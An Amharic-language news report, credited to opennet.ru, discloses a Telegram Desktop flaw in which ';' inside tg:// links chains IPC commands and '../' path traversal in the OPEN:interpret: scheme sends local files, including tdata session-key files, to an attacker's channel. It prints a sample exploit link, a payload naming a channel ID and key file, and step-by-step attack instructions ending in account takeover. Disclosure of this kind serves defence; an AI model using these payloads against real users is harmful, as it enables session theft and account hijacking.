በቴሌግራም ዴስክቶፕ ውስጥ ያለ ተጋላጭነት አገናኙን ጠቅ በማድረግ የዘፈቀደ ፋይሎችን እንዲልኩ ያስችላል።

በቴሌግራም ዴስክቶፕ ኦፊሴላዊው የቴሌግራም ዴስክቶፕ ደንበኛ የሆነው ቴሌግራም ዴስክቶፕ ውስጥ ያሉ የተጋላጭነት ዝርዝሮች እና የብዝበዛ ዘዴዎች (CVE-2026-107181) ተገልጸዋል። ችግሩ የተከሰተው በIPC ትዕዛዞች ውስጥ ያልተሸሹ የገዳይ ቁምፊዎችን በአግባቡ ባለመያዝ ነው። ይህም ከተጎጂው ስርዓት ወደ አጥቂው ማንኛውንም ፋይሎች ለማስተላለፍ የተጋራ አገናኝን ጠቅ ማድረግ አስችሏል፣ ይህም የቴሌግራም መለያን ለመጥለፍ ሊያገለግሉ የሚችሉ የክፍለ ጊዜ ቁልፎችን የያዙ ፋይሎችን ጨምሮ። ተጋላጭነቱ በቴሌግራም ዴስክቶፕ 7.2.9 ውስጥ ተስተካክሏል።

"tg://" አገናኞችን ሲጫኑ፣ ኦፕሬቲንግ ሲስተሙ ከዚህ አይነት አገናኝ ጋር የተያያዘውን የቴሌግራም ዴስክቶፕ መተግበሪያ ያስጀምራል። የዚህ መተግበሪያ ሌላ ምሳሌ በስርዓቱ ላይ እየሰራ ከሆነ፣ የማስኬድ ሂደቱ አገናኙን በIPC በይነገጽ በመጠቀም በሶኬት በኩል ያስተላልፋል። ችግሩ በአገናኝ መለኪያዎች መካከል ";" የሚለውን ቁምፊ ካካተቱ (ለምሳሌ "tg://x?a=1;OPEN…")፣ ይዘቱ ይከፈላል፣ እና የ";" ቁምፊን የሚከተሉ ክፍሎች እንደ የተለያዩ ትዕዛዞች ይከናወናሉ።

ጥቃቱ የOPEN ትዕዛዝን ከ"interpret:" URI እቅድ ጋር ይጠቀማል፣ ይህም በIPC በኩል የአገልግሎት ስክሪፕቶችን ለማስጀመር የተነደፈ ሲሆን ይህም አዳዲስ ልቀቶችን ወደ ቻናሎች በራስ-ሰር ለመግፋት ያገለግላል። ስክሪፕት ወደ ቻናሉ እና ወደ ቻናሉ መታወቂያ የሚላከውን ፋይል የሚገልጽ አስቀድሞ የተገለጸ የአካባቢ ፋይል ነው። ወደ ስክሪፕቶቹ የሚወስደው የፋይል መንገድ ከአገልግሎት ንዑስ ማውጫ አንፃር ይሰራጫል፣ ነገር ግን በፋይል መንገዶች ላይ "../" መቆራረጥ ባለመኖሩ፣ አጥቂው ከመሠረታዊ ማውጫ ውጭ የተከማቹ ፋይሎችን መድረስ ይችላል። ለምሳሌ፣ ፋይል ወደ ቴሌግራም ቡድናቸው መስቀል እና እንደዚህ ያለ አገናኝ በመፍጠር እንደ ስክሪፕት ሊያመለክቱት ይችላሉ፡

tg://x?a=1;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions.txt

የጥቃቱ ደረጃዎች፡

• አጥቂው ተጎጂውን ወደ ቡድናቸው ያክላል (በነባሪ ቅንብሮች፣ ተጎጂውን ማከል ከሚታከለው ሰው ማረጋገጫ አያስፈልገውም) እና ቻናሉን የያዘው ቡድን የጽሑፍ ፋይል እና ወደ ስክሪፕቱ የሚወስደውን መንገድ ይልካል። ቴሌግራም ተጎጂው ቡድኑን ሲቀላቀል ይህንን ፋይል አስቀድሞ ወደተገለጸ የስርዓት ንዑስ ማውጫ ያስቀምጣል።

  ቻናል፡ 2005234537
  file: tdata/D877F783D5D3EF8Cs

• አጥቂው ተጎጂውን ወደ አስተናጋጁ (ለምሳሌ "https://coolsite.org") ንፁህ የሚመስል ሊንክ ይልካል፣ ይህም ወደ አድራሻው አቅጣጫ ሲቀየር ይከፈታል። አገልጋይ የአጥቂው URI በ'tg://x?a=1;OPEN:interpret:…;OPEN:interpret:…. ቅጽ URI ተተክቷል።
• አገናኙ ሲጫን፣ አሳሹ "tg://" URI ተቆጣጣሪን ይጠራል፣ ይህም ከላይ የተጠቀሰውን የትዕዛዝ አፈፃፀም ሰንሰለት ይጀምራል፣ ይህም ፋይሎች ምንም አይነት ማሳወቂያዎችን ሳያሳይ ወይም የመላክ ማረጋገጫ ሳይጠይቁ ወደ አጥቂው ቻናል እንዲላኩ ያደርጋል።
• ከ tdata ንዑስ ማውጫ ውስጥ የኢንክሪፕሽን እና የፈቃድ ቁልፎችን የያዙ ፋይሎችን ከተቀበሉ እና በተጠቃሚው የተቀመጠ የአካባቢ የይለፍ ቃል ከሌለ፣ አጥቂው የተጎጂውን የግንኙነት ክፍለ ጊዜ በመሳሪያቸው ላይ ሊቀርጽ ይችላል።

ምንጭ: opennet.ru